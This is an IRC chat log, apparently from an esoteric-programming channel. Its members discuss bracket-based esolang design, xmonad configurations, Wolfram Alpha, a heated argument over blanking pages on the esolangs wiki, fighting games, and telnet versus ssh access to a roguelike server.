19:01:33 <kallisti> so the difference is that ]] and [[ do not do the same thing as ""
19:02:05 <kallisti> and subsequently ]stuff], [stuff[, and "stuff"
19:02:20 <kallisti> but if your brackets are balanced I think they operate the same way.
19:02:33 <elliott> Well, no, if it's excluding, then you immediately hit another ].
19:02:58 <elliott> ]stuff[blah]abc -> [blah] -> abc
19:03:04 <elliott> <kallisti> variant joke esolang.
19:03:04 <elliott> <kallisti> though there's no reason to have two characters at that point
19:03:04 <elliott> <kallisti> could just use "
19:03:04 <elliott> <kallisti> since they do the same thing.
19:03:07 <elliott> I was pointing out that they don't.
19:04:29 <kallisti> languages without the need for balanced brackets? awww yeah.
19:04:49 <kallisti> I'm still pondering the substitute instruction. called s for now.
19:05:22 <kallisti> (also makes efficient implementation trickier)
19:07:39 <kallisti> well actually it's not strictly necessary
19:07:58 <kallisti> having two operators that cycle character meanings.
19:08:05 <kallisti> one in one direction and one in the other.
19:08:30 <kallisti> but you can emulate one with the repetition of the other.
19:09:20 <kallisti> but having two cycle operators that cycle in different ways could be interesting.
19:11:13 <kallisti> hm yeah you could have one that transposes abcd -> dabc like the current one
19:11:21 <kallisti> and another that works like: abcd -> badc
19:13:25 -!- Taneb has joined.
19:13:27 <itidus21> "[][]"... encounter [ "a" .. seek rightmost ] "b" .. a][b .. encounter ] "c" .. seek closest [ "d" .. acdb
19:13:58 <itidus21> im not sure how well it would work in practice
19:14:09 <kallisti> we're not really concerned about practice here.
19:14:38 <kallisti> I feel that seeking the rightmost ] would lead to massive program erasal
19:15:00 <elliott> Phantom_Hoover: Were you around when ircbrowse was still alive?
19:15:04 <elliott> Those were some good logs.
19:15:45 <itidus21> under this scheme [][][] becomes [()()]
19:15:48 <Phantom_Hoover> I was like "where are the nice formatted logs" and the site was like "no".
19:16:38 <itidus21> err.. rather.. [][][] becomes [[][]]
19:16:57 <kallisti> it's entirely dependent on the rest of the program though
19:17:12 <kallisti> and chances are you're just going to erase a bunch of valuable logic.
19:17:23 <kallisti> unless, you know, that's what you wanted to do. I guess.
19:17:37 <itidus21> well i have stopped thinking about bf.. and off in my own thoughts..
19:17:56 <itidus21> maybe im falling behind though :D
19:17:58 <kallisti> I'm not sure what bf has to do with anything.
19:19:11 <kallisti> so yeah I think [ and ] and two kinds of cycle could be enough for some sort of TCness maybe.
19:19:57 <kallisti> looping is still tricky though
19:20:05 -!- monqy has joined.
19:20:23 <kallisti> but it's at least possible to be non-terminating by duplicating the source code.
19:22:18 <itidus21> in general what i'm taking from this is the existence of the very esoteric "]a[" construct.. and its friends "[a[", "]a]", "[a", "a[", "]a", "a]"
19:22:56 <elliott> we're having an itidus21 marathon
19:23:04 <kallisti> and yet those constructs are completely equivalent to some bijective mapping to other, more eye-pleasing characters. the concrete representation doesn't mean much.
19:23:20 <kallisti> elliott: shut up I am making valuable progress.
19:24:39 <elliott> @tell oerjan [2007] <oerjan> by using the FingerTree module which implements lazily concatenated sequences
19:24:41 <Taneb> I'm going to try doing what itidus21 does, see what it reveals about myself
19:24:55 <elliott> @ask oerjan are you sure? "(it is the same as Data.Sequence, but less restricted)" implies not, since Seq is strict
19:25:24 <Taneb> Turing-complete programming languages, they map on to eachother.
19:25:53 <Taneb> However, if you convert a bf program into unlambda, and back again, you could end up with a completely different program
19:26:07 <monqy> Taneb: wow you sound just like itidus21
19:26:11 <elliott> so one could envision a... mode of brainfuck which allows the user to construct experiences
19:26:20 <elliott> how did my itidus impression go
19:26:28 <elliott> i think i did better than Taneb
19:26:43 <Taneb> Yeah, I'm not good at doing the not capitals
19:27:03 <elliott> Maybe it should have been a "hmm".
19:27:35 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.23993
19:27:40 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.7872
19:27:53 <elliott> kallisti: See, not out of place at all.
19:28:13 <kallisti> elliott: just the moment of usage I guess.
19:28:22 <Taneb> How does the regexes for pastelogs work?
19:28:25 <kallisti> elliott: also how dare you belittle the important field in which I'm progressing.
19:28:36 <kallisti> advacing the study of dupdogoids.
19:28:54 <kallisti> (real term. I'm an authority on the subject)
19:30:18 <elliott> It's grep -P to be precise.
19:31:12 -!- pikhq_ has joined.
19:31:19 <kallisti> it kind of blows my mind that I have little squishy lenses stuck to my eyeballs throughout the day.
19:31:22 -!- pikhq has quit (Ping timeout: 245 seconds).
19:31:56 <monqy> contacts scare me and glasses are cooler anyway but my eyesight is good anyway
19:32:24 <kallisti> monqy: mine is mostly good. I got both to correct some slight near-sightedness.
19:32:25 <elliott> my eyesight is good too, people with bad eyesight are lame
19:32:38 <kallisti> but I could have easily saved money and gone without
19:32:40 <elliott> the way to have good eyesight is to start staring at computer screens really young so you get used to it
19:33:00 * kallisti notes that he had perfect vision up until about 2 years ago.
19:34:03 <monqy> the one upside I can see to having bad eyesight is then you can get sunglasses that aren't dorky
19:34:12 <Phantom_Hoover> I wanted glasses until I passed through the hipster nerd phase in my life.
19:34:59 <kallisti> contacts are nice because you don't have to make sure they stay on your face, and they have better peripheral vision.
19:35:09 <kallisti> but I do like the way glasses look. so I'll likely just wear whichever.
19:35:35 <monqy> wear both "doublegood eyesight forever"
19:35:47 <itidus21> i think plato would be in favor of languages where a curve with it's endpoints on the right side is a left delimeter, and a curve with it's endpoints on the left side is a right delimeter
19:39:46 <kallisti> monqy: I actually did earlier today.
19:39:55 <kallisti> MY EYESIGHT WAS TWICE AS GOOD.
19:40:06 <kallisti> and then wear two pairs of glasses.
19:40:27 <monqy> a tower of contacts
19:40:31 <monqy> then another tower of glasses
19:40:31 <elliott> monqy: do you have to draw plus signs on the glasses to get doubleplusgood eyesight...
19:40:34 <monqy> these towers are horizontal
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19:41:59 <monqy> I can't even imagine doubleplusgood eyesight. my brain is not good enough for all that eyesight imagination
19:42:43 <kallisti> monqy: can I see your xmonad config?
19:43:05 <kallisti> I was just seeing if I'm missing anything useful.
19:43:14 <monqy> I actually forget what I put in it
19:44:08 <kallisti> if you give me yours I'll trade you mine
19:44:15 <monqy> what if I don't want yours!!!
19:44:15 <kallisti> it'll be like stock exchange xmonad.
19:44:24 <monqy> I'll give you hints
19:44:28 <monqy> and then you can guess it
19:44:38 <monqy> the first section is a
19:44:56 <kallisti> is there anything in it that might be in my config?
19:45:01 <monqy> then there's the imports
19:45:05 <monqy> you probably have imports too
19:45:46 <monqy> one thing that the main does is makes a spawner
19:45:47 <kallisti> helps with the programs a lot.
19:45:50 <monqy> does your main make a spawner
19:46:03 <monqy> it helps with spawning things
19:46:45 <Taneb> Or you can travel, if you're an Italian-American plumber resident in the Mushroom Kingdom
19:46:48 <monqy> another thing I do is set my modMask to mod4Mask and make focus not follow mouse
19:47:05 <kallisti> I actually like focus follows mouse
19:47:15 <monqy> I hear it's good, but I don't like it
19:47:19 <kallisti> because it saves me the trouble of clicking on some random unclickable thing, or, heaven forbid, using key combos.
19:48:11 <monqy> the most interesting part of my config is how I organize my keybindings
19:48:28 <kallisti> I use all the defaults currently.
19:49:36 <monqy> I put my keybindings into three functions, based on how I want them to spawn. each function takes a spawner and returns a list of keybindings
19:49:55 <monqy> so I do a concatMap ($ spawner) [my, list, of, stuff] to get my keybindings list
19:50:06 <kallisti> elliott: fits in one screenful
19:50:50 <elliott> ps i really wish I could say like
19:50:58 <elliott> type MyLayout = typeOf myLayoutHook
19:51:17 <elliott> type MyLayout = typeOf myLayoutHook exceptForTheArgument :(
19:51:38 <kallisti> hmmm oh you change one of the arguments
19:51:50 <elliott> the layout is reflected in the type
19:51:58 <elliott> so you end up writing everything almost twice
19:52:04 <elliott> hmm, I could avoid spelling it with some existentials... but i'm too lazy
19:52:30 <monqy> another thing I did is made a ManageHook to make it so stuff managed with that hook spawns on the workspace i did the spawny thing on
19:52:55 <kallisti> $ cat .xmonad/xmonad.hs | sprunge
19:52:56 <elliott> i wish dmenu-spawned stuff spawned on the workspace I used dmenu on
19:53:15 <monqy> you can probably do that
19:53:17 <elliott> kallisti: well /that's/ UUOC, surely "sprunge .xmonad/xmonad.hs" would work
19:53:27 <elliott> monqy: im not sure about that... dmenu doesn't even execute the program itself
19:53:28 <monqy> I misread what you said :'(
19:53:31 <elliott> it quits and dmenu_run executes it
19:53:35 <kallisti> elliott: I like it that way because pipes
19:53:38 <elliott> so expressing the logic would be complicated
19:53:40 <zzo38> How many people have wanted typeOf in Haskell?
19:53:43 <kallisti> I can pipe things into pipes and then pipe that into sprunge.
19:53:48 <elliott> dynamicLogWithPP defaultPP { ppOutput = hPutStrLn xmproc
19:53:49 <elliott> , ppCurrent = xmobarColor "yellow" ""
19:53:54 <kallisti> zzo38: there is typeOF as far as I know.
19:54:14 <monqy> yellow is icky, man
19:54:27 <elliott> kallisti: indent that shit properly fucker
19:54:32 <elliott> kallisti: also use smartBorders asshole
19:54:48 <elliott> also use type signatures shithead
19:55:01 <elliott> volumeKeys is bad also <insult>
19:55:27 <kallisti> weird I thought I fixed all that.
19:55:42 <zzo38> In my own (codenamed) "Ibtlfmm" one idea include, you might have: type TypeOf (_ :: {t :: k}) :: k = t; type MyLayout = TypeOf {myLayoutHook};
19:57:00 <elliott> kallisti: have i mentioned use smart borders
20:02:24 -!- blackwhit has joined.
20:02:35 -!- blackwhit has left.
20:02:54 <zzo38> kallisti: What typeOF? There is typeOf for values, but not one for types?
20:02:55 <HackEgo> bl: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
20:05:16 <kallisti> elliott: what's wrong with my volumeKeys?
20:06:33 <kallisti> [ ("<XF86AudioLowerVolume>" , void (lowerVolume volAmnt))
20:06:33 <kallisti> , ("<XF86AudioRaiseVolume>" , void (raiseVolume volAmnt))
20:06:33 <kallisti> , ("<XF86AudioMute>" , void toggleMute )
20:08:09 <elliott> i use proportional irc font
20:08:48 <olsner> irc requires monospace :(
20:09:03 <elliott> No, your puny mind requires monospace.
20:09:08 <elliott> Phantom_Hoover: Stand with me, brother.
20:09:20 <elliott> I also have ais523 on my side, so ha.
20:09:21 <monqy> is something wrong with monospace
20:09:29 <kallisti> monqy: I don't know. I like monospace.
20:09:42 <olsner> monqy: apparently it makes your mind puny, according to elliott
20:09:56 <kallisti> no it is your puny mind that makes your mind puny
20:11:10 * Phantom_Hoover looks at the font list on XChat, sees Comic Sans sitting there.
20:11:29 <elliott> Phantom_Hoover: stop using windows
20:12:48 <olsner> I should get comic sans installed so I can xchat in comic sans
20:13:31 <olsner> Phantom_Hoover: comic sans?
20:13:38 <Phantom_Hoover> (It's like vomiting but it turns into a fine spray which soaks everyone nearby.)
20:13:55 <Phantom_Hoover> (IT'S OK I CAN WITHSTAND THE EVIL I WROTE AN ESSAY ON IT ONCE.)
20:14:04 <olsner> but there's seriously nothing wrong with comic sans
20:14:23 <Phantom_Hoover> I GOT A B IN ENGLISH AND I SUCKED AT ALL THE OTHER BITS IT MUST BE GOOD
20:15:47 <itidus21> don't worry guys, my ambitions in their way are worthwhile
20:17:34 <Phantom_Hoover> http://www.reddit.com/r/IAmA/comments/qisot/im_stephen_wolfram_mathematica_nks_wolframalpha/
20:18:26 <Phantom_Hoover> Not one of the top questions asks him about his raving egomania; poor show.
20:18:41 -!- itidus20 has joined.
20:18:56 <elliott> WolframAlpha now requires registering and logging in to free account to copy plaintext results. (wolframalpha.com)
20:19:56 <itidus20> because they apparently want some money
20:20:33 <itidus20> perhaps spambots are doing calculations
20:21:04 -!- itidus21 has quit (Ping timeout: 260 seconds).
20:21:35 <elliott> "Holy shit people. He created, and is developing this for anyone to use, and he is only asking you to log in to get some of the more useful features."
20:22:16 <monqy> I forgot about that, somehow
20:22:30 <zzo38> I think we need to make a new program, with some features of Wolfram|Alpha and Mathematica, but based on Haskell and open-source too
20:22:58 <elliott> "on behalf of math majors everywhere, thank you."
20:23:08 <elliott> IAmA needs to delete non-questions.
20:23:19 <kallisti> math majors should just learn how to program Haskell problem solved
20:23:43 <elliott> "TIL Wolfram existed before I discovered Wolfram Alpha"
20:23:52 <elliott> Phantom_Hoover: How amazing is it that Alpha actually succeeded?
20:24:03 <elliott> It had stupidly overambitious marketing and the early reviews were pretty scathing.
20:24:08 <elliott> It had literally every ingredient of a massive flop.
20:24:51 <zzo38> In addition, Wolfram|Alpha still fails at ecliptic coordinates.
20:26:18 <zzo38> There are other things it fails at too.
20:27:49 <elliott> "An old one for Mathematica: Mike Foale was using it on the Mir space station; there was an accident; the computer it was on got sucked into space; Mike had a backup disk, but needed a password for a different computer; all-time favorite call to customer service ... and finally an in-action solving of equations of motion for a spinning space station."
20:28:00 <elliott> OK, the idea of an accident throwing a computer into space is just too funny.
20:32:34 <Phantom_Hoover> <elliott> Phantom_Hoover: How amazing is it that Alpha actually succeeded?
20:32:34 <Phantom_Hoover> <elliott> It had stupidly overambitious marketing and the early reviews were pretty scathing.
20:32:34 <Phantom_Hoover> <elliott> It had literally every ingredient of a massive flop.
20:32:45 <Phantom_Hoover> Because, for all its flaws, it's still *really* useful.
20:33:25 <itidus20> xkcd the movie: starring brad pitt, jim carrey, richard stallman, julia roberts and quentin tarantino
20:35:45 <itidus20> and uh... brendan fraser as the main character
20:37:06 <itidus20> i might have my actors mixed up
20:41:07 <itidus20> if i made regular use of wolframalpha i wouldn't feel like such a <insult> for igoring the topic but what i am thinking about is game of life as an animation format.. an idea bubbling away
20:41:17 -!- ais523 has joined.
20:42:04 <itidus20> the basic idea being that a finite multicolored game of life equivalent to the size of a display which updates the display on "key" generations
20:42:29 <itidus20> everything inbetween the key generations being an "inbetween" generation
20:44:18 <itidus20> basically i think everyone has too much fun with the math of GoL to consider such direct practical applications
20:44:20 <Taneb> Phantom_Hoover, guess what's about to update!"
20:46:47 <Taneb> Phantom_Hoover, guess what has just updated!
20:47:30 -!- azaq23 has quit (Quit: Leaving.).
20:48:10 <itidus20> thats roughly how deluded i am.. i don't like to think about the realities of encoding animations as GoL such as the lack of likelihood that there is any CA suited to representing animations
20:50:08 <itidus20> hmm a thought coming to me now.. that a pattern in a GoL could be like a marker which gets overlaid by a bitmap.. such as a glider.. perhaps it scans the GoL for any gliders and draws a missile bitmap in its place
20:50:26 <itidus20> and it draws a gun where it finds a glider gun pattern...
20:56:24 <kallisti> itidus20: would probably help if you knew how to program.
21:00:35 <itidus20> i know it doesn't matter but in my world i made a breakthrough just now in using sprites as overlays of GoL patterns to create scenes. with the rest of the cells being kind of darkened like the actors in black in a japanese puppet show
21:01:07 <itidus20> it also solves the coloring problem
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21:16:05 <itidus20> "<itidus20> basically i think everyone has too much fun with the math of GoL to consider such direct practical applications" eating my hat.. nom nom
21:25:38 <Vorpal> hm.... I wonder what the origin of that phrase is
21:26:21 <itidus20> i imagine it would have been easier in days when hats were made of animal skins
21:26:51 <Vorpal> itidus20, you mean leather? Doubtful
21:27:08 <Vorpal> anyway there are straw hats and such
21:27:10 <itidus20> uhh... lets blame my looking at tekken screenshots with that guy who has a tigers head on
21:27:38 <Vorpal> itidus20, what is tekken?
21:28:29 <itidus20> ahh it's a 3d stylized martial arts tournament simulation game
21:28:55 <Vorpal> itidus20, so, like street fighter?
21:29:20 <itidus20> not only that... the game in question is called street fighter x tekken
21:31:36 <itidus20> i dont really play these things... nowadays.. but tekken has this character who wears a tigers head skin over his head.. except its drawn as if he were a half man half tiger
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21:32:04 <Vorpal> mhm, didn't you just call it "martial arts tournament simulation game"...
21:32:40 <Vorpal> which material art does it simulate?
21:32:55 <itidus20> it simulates a tournament of mixed martial arts :D
21:33:36 <Vorpal> mhm, so none of that unrealistic stuff then that I seen in some of those games? (I have no idea which one)
21:34:26 <Vorpal> itidus20, I mean, is it stuff that could happen in real life?
21:35:33 <itidus20> i guess ill have to quickly say no
21:36:01 <Vorpal> then I'm not sure simulation is the right term, although you could make a case of it simulating unreality.
21:36:09 <Vorpal> In which case most games are simulators
21:36:52 <itidus20> gotta love the way a words meaning can be modified to designate almost anything
21:36:58 <Vorpal> Pacman: Simulator for a 2D world where there are ghosts and you are yellow circle segment running around eating things.
21:37:35 <Vorpal> itidus20, I think it is annoying rather.
21:37:46 <Vorpal> makes writing a natural language parser much harder
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21:39:14 <Vorpal> itidus20, but yeah personally I restrict "simulator" in the context of computer applications to very realistic "games". Flight sims obviously. Also ARMA 1/2/3, a military combat simulator (think COD or such but actually hyper-realistic instead of hyper-unrealistic)
21:39:35 <Vorpal> there are driving simulators too
21:39:47 <Vorpal> though I can't think of any names on the top of my head.
21:39:56 <itidus20> i manage to walk the line between smart and stupid too well for my own good
21:40:21 <Vorpal> mhm, haven't played that
21:40:24 <elliott> you don't walk that line itidus20, trust me
21:40:36 <Phantom_Hoover> All computer games are simulators, and all games are simulators in a sense.
21:40:45 <itidus20> but then theres this other one whose name i can't think of which is a rally simulator
21:41:48 <itidus20> i mean, i don't think theres anything i can be told about video games which will surprise me very much
21:41:56 <Vorpal> Phantom_Hoover, indeed, but usually people don't call something like Final Fantasy a simulator, while they do say "flight simulator"
21:42:16 <itidus20> i will probably be afraid of AI before too long
21:44:19 <Vorpal> I wonder how so many video games can screw up pathing btw. I mean, it isn't that hard really. As far as I know pathing from point A to point B with a navmesh is a solved problem.
21:44:35 -!- ion has joined.
21:45:48 <itidus20> my hope is that all of these little ideas i have add up as lots of little displacements summing to one big displacement
21:46:01 -!- MoALTz has joined.
21:46:10 <itidus20> so that i am completely non-conventional by the time i do make something
21:48:00 <itidus20> in my mind it sounds like a utopia.. but theres nothing there really. thats a problem.
21:49:58 <itidus20> there is value in developing ideas in isolation...
21:52:25 <itidus20> well its true that tehres a difference between being smart and skilled and talented.. and being ambitious for the sake of being ambitious.. but the latter is still fun
21:53:40 -!- nortti has joined.
21:55:25 <kallisti> itidus20: you don't seem to actually possess any ambition.
21:57:23 <fizzie> Vorpal: There's an old matra related to Tekken: "Tekken Tekken Virtua Fighter, oh my brain feels so much lighter".
21:59:57 <fizzie> I don't quite recall where it's from. Maybe some parody thing.
22:01:42 -!- EduardKhil has changed nick to khil.
22:03:25 <fizzie> Also as seen in ##c, two new asteroid names: 300909 Kenthompson, and 294727 Dennisritchie.
22:03:38 <Phantom_Hoover> <fizzie> Vorpal: There's an old matra related to Tekken: "Tekken Tekken Virtua Fighter, oh my brain feels so much lighter".
22:09:54 -!- Zuu has joined.
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22:13:23 <fizzie> If "Sa-Matra" means "Great Trophy", possibly then a matra is just a trophy. (Or great.)
22:14:16 -!- itidus21 has joined.
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22:22:48 * Phantom_Hoover finds lutusp arguing that insurance is a bad investment, feels that he has rather missed the point.
22:23:25 -!- itidus20 has joined.
22:24:34 <elliott> Phantom_Hoover: lutusp... WRONG??/
22:24:41 <Phantom_Hoover> I mean, you don't buy insurance hoping that you'll come out with a monetary gain; you buy it because value and money aren't linear.
22:25:10 <elliott> Phantom_Hoover: You could consider: saying that?
22:26:40 <Phantom_Hoover> Also I'm too young and stupid to see exactly what he's arguing; I'd almost think he's arguing it's a bad idea if you have infinite money.
22:27:59 <Phantom_Hoover> http://www.cracked.com/article_19698_7-deadly-things-you-wont-believe-most-people-survive.html
22:28:18 <Phantom_Hoover> "#6. Getting Shot Is Only Fatal 5 Percent of the Time (If You Get to a Doctor)
22:29:01 <Phantom_Hoover> I remember my dad telling me that when he was studying medicine they were all amazed when a policeman who'd been shot was brought in and it was a pretty trivial thing to fix.
22:29:57 <elliott> fizzie: Haven't you said that "matra" before?
22:30:08 <fizzie> Probably. It keeps rattling around in my head.
22:30:59 <fizzie> 2011-09-26 15:54:25 <fizzie> A mantra: "tekken tekken virtua fighter / oh my brain feels so much lighter".
22:31:26 <fizzie> 2011-09-26 15:54:29 <fizzie> I can't remember where that's from.
22:31:49 <fizzie> I'm such a broken such a broken a broken a bro-bro-broken-en-en record.
22:32:37 <fizzie> I think it might have been related to the Pelit ("Games") magazine, a Finnish computer games thing. It had some sarcastic columnists.
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22:51:27 <elliott> kallisti: You encouraged people to have discussions in articlespace.
22:52:07 <elliott> Also http://esolangs.org/w/index.php?title=Esoteric_Operating_System&diff=next&oldid=8728 wtf.
22:53:22 <elliott> Why did you almost blank it.
22:53:53 <elliott> Also http://esolangs.org/wiki/BugSophia this is awful why doesn't it have a spec you're terrible.
22:53:57 <kallisti> yeah you can like... a) delete that b) remove any mention of my name but leaving it available as a discussion place for Yet Another eso-OS Brainstorm Dud.
22:54:08 <kallisti> elliott: because past-kallisti is a terrible person.
22:54:31 <elliott> kallisti: The only way I could remove any mention of your name would be to hide revisions.
22:54:42 <elliott> I'm not going to hide revisions unless I absolutely have to (personal information, copyright violation).
22:55:15 <elliott> Anyway, why the heck'd you blank that page.
22:56:00 <kallisti> I don't know. that was 5 years ago.
22:56:13 * elliott just reverts to the previous revision so the page isn't completely bare.
22:56:45 <elliott> Actually no, it's shit, I'll just leave it as a horrible shell of a page.
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22:57:32 <kallisti> the only reason I have blanked almost everything I've written on the wiki is because I'm lazy and/or busy with something.
22:57:59 <Phantom_Hoover> I know you all think he's witty and insightful; stop making me hate you more.
22:58:55 <Phantom_Hoover> The list of people I wish to physically injure because of the monkeysphere article alone took far too much effort to maintain.
22:59:34 <elliott> kallisti: Don't vandalise shit just because you're an idiot.
23:00:04 <elliott> http://esolangs.org/wiki/Stue Did this thing ever actually exist, or was it a work-in-progress?
23:00:16 <kallisti> elliott: so once I personally throw something on the wiki it becomes a permanent fixture that can't be removed by myself no matter how worthless it is?
23:00:26 <kallisti> this isn't Wikipedia, after all.
23:00:43 <Phantom_Hoover> The minute you put something on the wiki it's the property of the wiki.
23:00:54 <kallisti> the idea of a wiki being a pristine accumulation of shit as the result of status quo? no.
23:01:17 <elliott> kallisti: Putting something on the wiki releases it into the public domain. Our goal is to document every esoteric language and the ideas and concepts relating to them.
23:01:30 <elliott> So, no, deleting something just because you don't like it any more isn't OK.
23:01:35 <Phantom_Hoover> The idea of a wiki not being subject to the whims of authors whose work may have been developed upon or had value to others.
23:02:44 <Phantom_Hoover> But it obviously doesn't appeal to your immature view of things.
23:02:50 <kallisti> also, you're arguing to me about a decision I made 5 years ago. There's other reasons I haven't gone around deleting everything I've written on the wiki.
23:03:07 <Phantom_Hoover> No, I'm arguing about stupid things you said five minutes ago.
23:03:32 * elliott was not arguing about your decision to pseudo-blank that page.
23:03:40 <elliott> <kallisti> the only reason I have blanked almost everything I've written on the wiki is because I'm lazy and/or busy with something.
23:03:44 <kallisti> um, no. unless a wiki /is/ a permanent fixture of accumulated poor quality material.
23:04:00 <elliott> The wiki documents a great many poor languages.
23:04:10 <elliott> The goal is to have quality documentation of everything, which includes quality documentation of poor languages.
23:04:23 <elliott> Otherwise I wouldn't try and clean up pages on languages I personally find uninteresting.
23:04:31 <Phantom_Hoover> kallisti, no it just works on the priniciple that kind of crap > nothing, since space is barely an issue.
23:05:03 <kallisti> ah the good old inclusionist argument.
23:05:25 <kallisti> in talking about this anymore.
23:05:44 <Phantom_Hoover> Inclusionism is the obvious policy of a wiki meant to document content created by its users.
23:05:50 <kallisti> unless you're prefer to have a neverending discussion about nothing important.
23:06:15 <Phantom_Hoover> It's not like there's any significant esolang activity outside the wiki.
23:06:18 <kallisti> I'd rather revise than delete.
23:06:38 <Phantom_Hoover> I don't really care what you're pretending you said to save face.
23:06:46 <elliott> <kallisti> the only reason I have blanked almost everything I've written on the wiki is because I'm lazy and/or busy with something.
23:06:50 <elliott> <kallisti> as I clearly stated
23:06:51 <elliott> <kallisti> I'd rather revise than delete.
23:07:41 <Phantom_Hoover> If it's making yourself look like an idiot, you're excelling as always.
23:07:55 <Phantom_Hoover> Quite why you insist on this intellectual masochism is beyond me, however.
23:08:22 <kallisti> I can't think about everything at the same time. Maybe it's because I'm idiot.
23:08:34 <kallisti> perhaps what I say isn't meant to be set in stone.
23:08:43 <kallisti> when I say "yeah that's the only reason I haven't deleted everything"
23:08:47 <kallisti> perhaps I'm leaving something out.
23:08:49 <elliott> "as I clearly stated" is not the way to revise your previous statements.
23:09:08 <kallisti> 18:02 < kallisti> also, you're arguing to me about a decision I made 5 years ago. There's other reasons I haven't gone around deleting everything I've written on the wiki.
23:09:11 <kallisti> 18:02 < kallisti> because I'd rather revise it.
23:09:29 <kallisti> hey look, previous reasons I hadn't disclosed
23:09:42 <kallisti> not because I give a shit about explaining away past shit I said.
23:10:05 <elliott> You were done five minutes ago.
23:10:10 <Phantom_Hoover> You can waffle all you want, but the fact is that most of us can get by without regularly embarassing ourselves because we're not burdened with this ridiculous pride you insist on lugging around.
23:15:17 <kallisti> I'd just like to say that, going back over the things I've said (in sequence). none of it is actually self-contradicting at all? perhaps you can check yourself if you're curious.
23:15:22 <kallisti> anyway, feel free to have the last word now.
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23:16:17 <Phantom_Hoover> I wonder when he'll realise that his life will be considerably easier if he gains the ability to back down.
23:16:49 <nortti> is it always like this here?
23:17:03 <zzo38> Is always like what?
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23:17:38 <Phantom_Hoover> Unfortunately, he's been doing that far too rarely of late.
23:19:49 <elliott> nortti: Yes, it's always like this here.
23:27:37 <elliott> Phantom_Hoover: Spray some Flora on it.
23:27:59 <Phantom_Hoover> elliott, I'd probably get yelled at by the person doing the experiment.
23:28:26 <elliott> Phantom_Hoover: Surely people yell at you constantly.
23:29:26 <Phantom_Hoover> Yeah, but not to the extent of ruining experiments which are part of people's conditions to getting into university.
23:34:30 <elliott> Hey, where'd ais523 come from?
23:34:46 <ais523> I've been here for ages, you even said hi to me
23:35:35 <elliott> "This is a next version which is being deployed in February 2012 and will be released in the 2nd week of March 2012 ."
23:35:40 <elliott> Yay, 1.19 has a release date!
23:35:53 <elliott> ais523: DID YOU KNOW they're changing the diffs even more massively than previously thought?
23:36:17 <ais523> is that from a recently created article?
23:37:09 <elliott> They're going to look roughly like this: http://bug-attachment.wikimedia.org/attachment.cgi?id=10151 though I think it'll take until 1.20 for that to actually come through in a release.
23:37:35 <elliott> Well, actually like this slightly-different version: https://bugzilla.wikimedia.org/attachment.cgi?id=10178 (PDF)
23:37:55 <ais523> that's a PNG, not a PDF
23:38:33 <elliott> https://bugzilla.wikimedia.org/attachment.cgi?id=10177
23:38:35 <Friendship> http://stabyourself.net/mari0 <-- lest anyone hasn't seen it :)
23:38:35 <lambdabot> Friendship: You have 3 new messages. '/msg lambdabot @messages' to read them.
23:39:42 <ais523> meh, I am not emotionally involved in this change
23:40:17 <elliott> WHY ISN'T ANYONE GETTING RILED UP ABOUT THE DIFF COLOURS
23:40:20 <elliott> I need the people to be upset!!!
23:40:34 <elliott> It's my *job* to institute sweeping technological changes while everyone complains!
23:40:37 <ais523> oh, you don't like it?
23:40:50 <ais523> or you just want other people to not like it so you can feel superior?
23:41:29 <elliott> I like it, it's just that other people aren't allowed to.
23:41:38 <elliott> When have you ever heard of a website changing its design and the users *not* complaining?
23:42:42 <ais523> that's because most website design changes suck
23:42:52 <ais523> nobody complained when acehack.eu improved its design
23:42:52 <elliott> That's what the users think, yes.
23:43:19 <elliott> I see acehack.eu has telnet now.
23:43:32 <shachaf> [6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~a
23:43:32 <elliott> Did that take a lot of yelling?
23:43:53 <ais523> elliott: I don't think it does, kerio eventually put an sshd on port 23 in some sort of point
23:44:06 <elliott> oh, "ssh acehack@acehack.eu (fingerprint; you can also try port 995 (POP3S) or port 23 (TELNET) if port 22 is blocked"
23:44:09 <ais523> yep, and there's still an sshd there
23:44:16 <elliott> so by "port 23 (TELNET)", he means "port 23 (TELNET PORT RUNNING SSHD BECAUSE I'M A MORON)"
23:44:27 <elliott> I suppose AceHack over POP3S would be quite a feat.
23:44:31 <ais523> he means he put sshd on 23 so that nobody could claim that they could use telnet but not ssh
23:44:59 <elliott> i'm sure there's many platforms with a telnet client but not ssh
23:45:17 <ais523> Windows XP/Vista, for instance
23:45:24 <elliott> err, those have SSH clients available
23:45:35 <elliott> I mean platforms where you /can't/ use SSH, full stop
23:45:48 <elliott> (Windows 7 comes with ssh?)
23:48:21 <ais523> elliott: they come with telnet by default, ssh you have to install
23:48:30 <ais523> and you might not be able to install new software
23:48:46 <elliott> they also come with web browsers
23:48:50 <elliott> and there are online ssh clients
23:49:06 <ais523> hmm, but they suck for playing roguelikes on
23:49:17 <elliott> Windows sucks for doing anything
23:49:39 <elliott> anyway, if I find a platform with no SSH client or web browser, and tell kerio I want to play on acehack.eu, do you think he'll set up a telnet server?
23:51:14 <zzo38> Actually a computer I plan to build, might not have SSH client or web browser; but the terminal size might not be enough even if there is telnet server, if it is TV screen (maybe I will have other outputs too)
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23:56:35 <pikhq> So, if you find yourself using a C64.
23:59:49 <Vorpal> <ais523> elliott: they come with telnet by default, ssh you have to install <-- iirc windows 7 doesn't come with telnet by default either
00:00:04 <Vorpal> you can install it, but it isn't by default
00:00:11 <Vorpal> from what I remember, might be wrong
00:01:28 <nortti> zzo38: what kind of computer? own architecture? ttl? transistors? fpga? risc or cisc or oisc?
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00:02:53 <ais523> Vorpal: there's a reason I said XP and Vista!
00:03:18 <zzo38> nortti: I have not yet decided. It will probably use existing parts, such as ARM, DSP, GPU, and whatever. But connecting everything together in different ways which ar designed for security and to prevent malware (malware includes copy protection/DRM); however any user with physical access can open it and override anything by setting jumpers.
00:05:32 <zzo38> I did draw some block diagrams but they do not contain all information.
00:07:03 <nortti> will it run existing OS or are you going to write your own?
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00:07:22 <ais523> zzo38: how do you design a CPU architecture to prevent DRM?
00:07:32 <ais523> actually, anti-malware CPU features normally make DRM easier, rather than harder
00:08:50 <zzo38> ais523: It is not the CPU feature which I intend to change, but the way the CPU is connected to the other components.
00:09:36 <zzo38> nortti: I will write my own OS, probably single-tasking since it is simpler, and have a Forth interpreter built-in. Probably I will have a BASIC interpreter too, which can be compatible with many of the programs in old books.
